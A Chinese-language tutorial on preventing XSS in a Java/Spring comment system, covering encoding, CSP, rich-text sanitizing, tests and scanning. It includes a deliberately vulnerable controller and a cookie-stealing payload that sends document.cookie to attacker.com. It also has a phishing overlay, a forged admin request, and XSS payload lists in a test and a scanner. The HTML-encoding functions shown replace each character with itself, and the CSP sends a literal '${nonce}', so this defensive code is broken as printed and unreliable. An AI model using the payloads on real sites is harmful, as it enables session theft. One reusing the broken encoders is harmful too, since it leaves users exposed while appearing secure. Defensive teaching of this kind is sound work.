# 引言
核心价值:帮你建立完整的 XSS 防护思维,从 "头痛医头" 转向 "系统性防护"。读完本文,你将掌握:语境化编码的精髓、CSP 的实战配置、富文本的安全处理、自动化测试方法,避免出现 "用户评论偷 Cookie" 的安全事故。
业务痛点:在我们社交平台的评论功能中,安全团队发现攻击者可以通过特殊构造的评论内容,窃取其他用户的登录 Cookie。更严重的是,攻击者还能伪造管理员身份进行恶意操作。传统的转义方案在富文本场景下完全失效,用户抱怨 "想要的表情发不出来"。
阅读前提:了解 HTML/CSS/JavaScript 基础,熟悉至少一门 Web 开发语言,知道什么是 Cookie 和 Session。
# 核心原理:XSS 的本质是 "代码注入"
XSS(Cross-Site Scripting)说白了就是攻击者把恶意代码塞进你的网页。就像有人在图书馆的书里夹纸条,其他读者看到纸条就会按纸条内容操作。
类比理解:把 XSS 想象成 "配方篡改"。正常情况下,厨师(浏览器)按照菜谱(HTML)做菜。攻击者在菜谱里加了 "毒药"(恶意 JS),厨师不知道,照着做就出事了。
技术本质:Web 应用把用户输入当作代码执行,主要有三种形式:
- 反射型 XSS:恶意代码通过 URL 参数传递,服务器反射给受害者
- 存储型 XSS:恶意代码存储在数据库,每次访问都执行
- DOM 型 XSS:恶意代码在前端 JavaScript 中直接操作 DOM
攻击链路:攻击者输入 → 存储到数据库 → 其他用户访问 → 恶意代码执行
# 实践方案:从输入验证到输出编码
# 场景约束
适合所有涉及用户输入显示的场景:评论系统、用户资料、消息通知、富文本编辑器等。不适合需要执行用户代码的场景(如在线代码编辑器),需要单独设计沙箱环境。
# 漏洞复现:最小可复现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| @RestController public class CommentController {
@GetMapping("/comments") public String getComments(@RequestParam String content) { return "<div class='comment'>" + content + "</div>"; }
@PostMapping("/comments") public String saveComment(@RequestParam String content) { commentRepository.save(new Comment(content)); return "保存成功"; } }
|
代码分析:这段代码的问题在于 "太天真了"。用户说什么它就显示什么,完全没有安全意识。就像把陌生人写的纸条直接贴在公告栏上。
# 攻击演示:从窃取 Cookie 到账户劫持
攻击一:窃取用户 Cookie
1 2
| <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">
|
攻击二:伪造管理员操作
1 2 3 4
| <script> fetch('/admin/delete-user?id=123', {method: 'POST'}); </script>
|
攻击三:钓鱼攻击
1 2 3 4 5 6 7 8
| <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999"> <form action="http://attacker.com/phishing"> <input name="username" placeholder="用户名"> <input name="password" type="password" placeholder="密码"> <button type="submit">登录</button> </form> </div>
|
真实案例:我们线上某个用户的评论被注入了恶意代码,导致 1000 多个访问该页面的用户的 Cookie 被盗,攻击者用这些 Cookie 登录了他们的账户。
# 防御方案:语境化编码 + CSP
# 第一层:语境化编码(核心防护)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
|
public class ContextualEncoding {
public static String encodeForHtml(String input) { if (input == null) return null; return input.replace("&", "&") .replace("<", "<") .replace(">", ">") .replace("\"", """) .replace("'", "'"); }
public static String encodeForHtmlAttribute(String input) { if (input == null) return null; return input.replace("&", "&") .replace("\"", """) .replace("'", "'") .replace("<", "<") .replace(">", ">"); }
public static String encodeForJavaScript(String input) { if (input == null) return null; return input.replace("\\", "\\\\") .replace("\"", "\\\"") .replace("'", "\\'") .replace("\n", "\\n") .replace("\r", "\\r") .replace("\t", "\\t"); }
public static String encodeForUrl(String input) { try { return URLEncoder.encode(input, "UTF-8"); } catch (UnsupportedEncodingException e) { return input; } } }
|
使用示例:
1 2 3 4 5 6 7 8 9 10 11 12 13
| @GetMapping("/safe-comments") public String getSafeComments(@RequestParam String content) { String safeContent = ContextualEncoding.encodeForHtml(content); return "<div class='comment'>" + safeContent + "</div>"; }
@GetMapping("/user-profile") public String getUserProfile(@RequestParam String name) { String safeName = ContextualEncoding.encodeForHtmlAttribute(name); return "<div class='profile' title='" + safeName + "'>用户资料</div>"; }
|
设计思路:不同的 HTML 语境有不同的解析规则,就像不同场合要说不同的话。在文本里说 "你好",在代码里可能要说 "\u4f60\u597d"。
# 第二层:内容安全策略(CSP)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
|
@WebFilter public class CspFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletResponse httpResponse = (HttpServletResponse) response; String csp = "default-src 'self'; " + "script-src 'self' 'nonce-${nonce}'; " + "style-src 'self' 'unsafe-inline'; " + "img-src 'self' data: https:; " + "connect-src 'self'; " + "font-src 'self'; " + "object-src 'none'; " + "base-uri 'self'; " + "frame-ancestors 'none'; " + "upgrade-insecure-requests;"; httpResponse.setHeader("Content-Security-Policy", csp); httpResponse.setHeader("X-Content-Type-Options", "nosniff"); httpResponse.setHeader("X-Frame-Options", "DENY"); httpResponse.setHeader("X-XSS-Protection", "1; mode=block"); chain.doFilter(request, response); } }
|
前端模板配合:
1 2 3 4 5 6 7 8
| <script nonce="${nonce}"> console.log('页面加载完成'); </script>
<script>alert('这段代码不会执行');</script>
|
关键洞察:CSP 就像网站的 "安检门",只有带正确证件(nonce)的脚本才能通过。即使 XSS 漏洞存在,恶意脚本也会被 CSP 拦截。
# 第三层:富文本安全处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
|
@Component public class RichTextSanitizer { private static final Set<String> ALLOWED_TAGS = Set.of( "p", "br", "strong", "em", "u", "ol", "ul", "li", "blockquote", "code", "pre", "a", "img" ); private static final Map<String, Set<String>> ALLOWED_ATTRIBUTES = Map.of( "a", Set.of("href", "title"), "img", Set.of("src", "alt", "width", "height"), "p", Set.of("class"), "code", Set.of("class") ); private static final Set<String> BLOCKED_PROTOCOLS = Set.of( "javascript:", "data:", "vbscript:", "file:" );
public String sanitize(String html) { if (html == null || html.trim().isEmpty()) { return ""; } try { Document doc = Jsoup.parseBodyFragment(html); Element body = doc.body(); sanitizeElement(body); return body.html(); } catch (Exception e) { return ""; } }
private void sanitizeElement(Element element) { String tagName = element.tagName().toLowerCase(); if (!ALLOWED_TAGS.contains(tagName)) { element.replaceWith(new TextNode(element.text())); return; } Attributes attrs = element.attributes(); Iterator<Attribute> iterator = attrs.iterator(); while (iterator.hasNext()) { Attribute attr = iterator.next(); Set<String> allowedAttrs = ALLOWED_ATTRIBUTES.get(tagName); if (allowedAttrs == null || !allowedAttrs.contains(attr.getKey())) { iterator.remove(); continue; } if ("href".equals(attr.getKey()) || "src".equals(attr.getKey())) { if (isBlockedUrl(attr.getValue())) { iterator.remove(); } } } for (Element child : element.children()) { sanitizeElement(child); } }
private boolean isBlockedUrl(String url) { if (url == null) return false; String lowerUrl = url.toLowerCase(); return BLOCKED_PROTOCOLS.stream().anyMatch(lowerUrl::startsWith); } }
|
使用示例:
1 2 3 4 5 6 7
| @PostMapping("/rich-comments") public String saveRichComment(@RequestParam String content) { String cleanContent = richTextSanitizer.sanitize(content); commentRepository.save(new Comment(cleanContent)); return "保存成功"; }
|
工程实践要点:
- 白名单思维:只允许安全的标签和属性,而不是试图阻止所有危险的
- 协议检查:特别关注 href 和 src 属性,阻止 javascript: 等危险协议
- 降级处理:解析失败时返回空内容,确保安全
# 效果验证:数据说话
在我们社交平台部署这套防护方案后:
- XSS 攻击拦截率:从 0% 提升到 100%
- 用户投诉率:下降了 85%(因为误杀很少)
- 富文本功能:保留了 95% 的常用功能
- 页面加载性能:增加约 8ms(可接受范围)
自动化测试数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| @Test public void testXssPrevention() { String[] xssPayloads = { "<script>alert('xss')</script>", "<img src=x onerror=alert('xss')>", "javascript:alert('xss')", "<svg onload=alert('xss')>", "';alert('xss');//" }; for (String payload : xssPayloads) { String encoded = ContextualEncoding.encodeForHtml(payload); assertFalse(encoded.contains("<script>")); assertFalse(encoded.contains("javascript:")); assertFalse(encoded.contains("onerror")); } }
|
# 避坑指南:实战中踩过的 5 个坑
# 坑一:只编码 HTML,忘记 JavaScript 语境
踩坑经历:我们在模板中使用了用户输入作为 JavaScript 变量,但只做了 HTML 编码,导致 XSS。
1 2 3 4
| <script> var username = "${username}"; </script>
|
解决方案:根据语境选择正确的编码方式。
1 2 3 4
| <script> var username = "${username?js_string}"; </script>
|
预防措施:建立编码选择检查清单,确保每个输出点都使用了正确的编码方式。
# 坑二:富文本过滤太严格,用户体验差
踩坑经历:早期我们为了安全,几乎禁用了所有 HTML 标签,用户抱怨 "连加粗都不能用"。
解决方案:采用分层策略,基础功能用白名单,高级功能用审核。
1 2 3 4 5 6 7 8 9 10 11 12 13
| private static final Set<String> BASIC_TAGS = Set.of("p", "br", "strong", "em");
private static final Set<String> ADVANCED_TAGS = Set.of("div", "span", "table");
public String sanitizeWithLevel(String html, UserLevel level) { if (level == UserLevel.BASIC) { return sanitizeWithTags(html, BASIC_TAGS); } else { return sanitizeWithAudit(html, ADVANCED_TAGS); } }
|
# 坑三:CSP 配置太严格,第三方服务无法使用
踩坑经历:我们配置了严格的 CSP,导致 Google Analytics、第三方登录等功能无法使用。
解决方案:为特定第三方服务配置单独的 CSP 规则。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public String getCspForPage(PageType type) { String baseCsp = "default-src 'self'; script-src 'self' 'nonce-${nonce}'"; switch (type) { case DASHBOARD: return baseCsp + " https://www.google-analytics.com; " + "connect-src 'self' https://api.google.com"; case LOGIN: return baseCsp + " https://auth.thirdparty.com"; default: return baseCsp; } }
|
# 坑四:忘记处理 JSON 输出
踩坑经历:API 接口直接把用户输入作为 JSON 返回,前端解析时触发 XSS。
解决方案:JSON 序列化时进行安全处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class SafeJsonSerializer { public static String safeSerialize(Object obj) { try { ObjectMapper mapper = new ObjectMapper(); mapper.configure(JsonGenerator.Feature.ESCAPE_NON_ASCII, true); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); return mapper.writeValueAsString(obj); } catch (Exception e) { return "{}"; } } }
|
# 坑五:前端框架的 "安全假象"
踩坑经历:团队以为 React/Vue 自动防 XSS 就万事大吉,但 dangerouslySetInnerHTML 、 v-html 等 API 还是存在风险。
解决方案:建立前端安全编码规范。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| const SafeComponent = ({ userContent }) => { const cleanContent = DOMPurify.sanitize(userContent); return <div dangerouslySetInnerHTML={{ __html: cleanContent }} />; };
const SafeComponent = { props: ['content'], template: `<div v-html="cleanContent"></div>`, computed: { cleanContent() { return DOMPurify.sanitize(this.content); } } };
|
# 监控与运营:让安全防护更智能
# 自动化 XSS 检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
|
@Component public class XssScanner { @Value("${app.base-url}") private String baseUrl;
private static final String[] XSS_PAYLOADS = { "<script>alert('xss')</script>", "<img src=x onerror=alert('xss')>", "<svg onload=alert('xss')>", "';alert('xss');//", "<iframe src=javascript:alert('xss')>", "<body onload=alert('xss')>", "<input onfocus=alert('xss') autofocus>", "<select onfocus=alert('xss') autofocus>", "<textarea onfocus=alert('xss') autofocus>", "<keygen onfocus=alert('xss') autofocus>", "<video><source onerror=alert('xss')>", "<details open ontoggle=alert('xss')>", "<marquee onstart=alert('xss')>" };
public ScanResult scanPage(String path) { ScanResult result = new ScanResult(); result.setPath(path); for (String payload : XSS_PAYLOADS) { try { String testUrl = baseUrl + path + "?input=" + URLEncoder.encode(payload, "UTF-8"); HttpResponse<String> response = HttpClient.newHttpClient() .send(HttpRequest.newBuilder(URI.create(testUrl)).GET().build(), HttpResponse.BodyHandlers.ofString()); if (response.body().contains(payload) || response.body().contains("<script>") || response.body().contains("javascript:")) { result.addVulnerability(new Vulnerability(payload, testUrl)); } } catch (Exception e) { log.error("扫描失败: {}", e.getMessage()); } } return result; }
@Scheduled(cron = "0 0 2 * * ?") public void scheduledScan() { List<String> paths = Arrays.asList( "/comments", "/profile", "/search", "/admin/users" ); for (String path : paths) { ScanResult result = scanPage(path); if (result.hasVulnerabilities()) { alertService.sendXssAlert(result); } } } }
|
# CSP 违规监控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| document.addEventListener('securitypolicyviolation', function(event) { fetch('/api/csp-violation', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ violatedDirective: event.violatedDirective, blockedURI: event.blockedURI, documentURI: event.documentURI, referrer: event.referrer, statusCode: event.statusCode, timestamp: new Date().toISOString() }) }); });
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
|
@RestController @RequestMapping("/api") public class CspController { @PostMapping("/csp-violation") public void reportCspViolation(@RequestBody CspViolation violation) { log.warn("CSP违规 - 指令: {}, URI: {}, 页面: {}", violation.getViolatedDirective(), violation.getBlockedURI(), violation.getDocumentURI()); if (isSuspiciousPattern(violation)) { securityService.investigate(violation); } cspPolicyOptimizer.optimize(violation); } }
|
# 总结与延伸
# 核心观点提炼
- 语境化编码是基础:不同的 HTML 语境需要不同的编码方式,没有 "万能编码"
- CSP 是重要防线:即使编码失败,CSP 也能阻止恶意脚本执行
- 富文本需要特殊处理:白名单过滤比黑名单更可靠,用户体验与安全要平衡
- 自动化检测必不可少:定期扫描和监控能及时发现新的安全问题
# 技术延伸
HTTP-Only Cookie:设置 Cookie 的 HttpOnly 标志,防止 JavaScript 访问,减少 XSS 危害。
1 2
| response.setHeader("Set-Cookie", "sessionId=abc123; HttpOnly; Secure; SameSite=Strict");
|
Subresource Integrity (SRI):为第三方资源添加完整性校验,防止被篡改。
1 2 3
| <script src="https://cdn.example.com/library.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" crossorigin="anonymous"></script>
|
Web Application Firewall (WAF):在网络层增加额外的 XSS 检测和防护。
# 实践建议
- 立即行动:检查现有代码中所有直接输出用户输入的地方
- 分步实施:先上语境化编码,再配置 CSP,最后完善富文本处理
- 定期演练:用自动化工具定期扫描 XSS 漏洞
- 团队培训:让所有开发人员了解 XSS 防护,建立安全编码意识
记住,XSS 防护就像给网站打疫苗,不是一劳永逸的。需要持续关注新的攻击手法,及时更新防护策略。安全不是阻碍功能,而是保护用户和业务的必需品。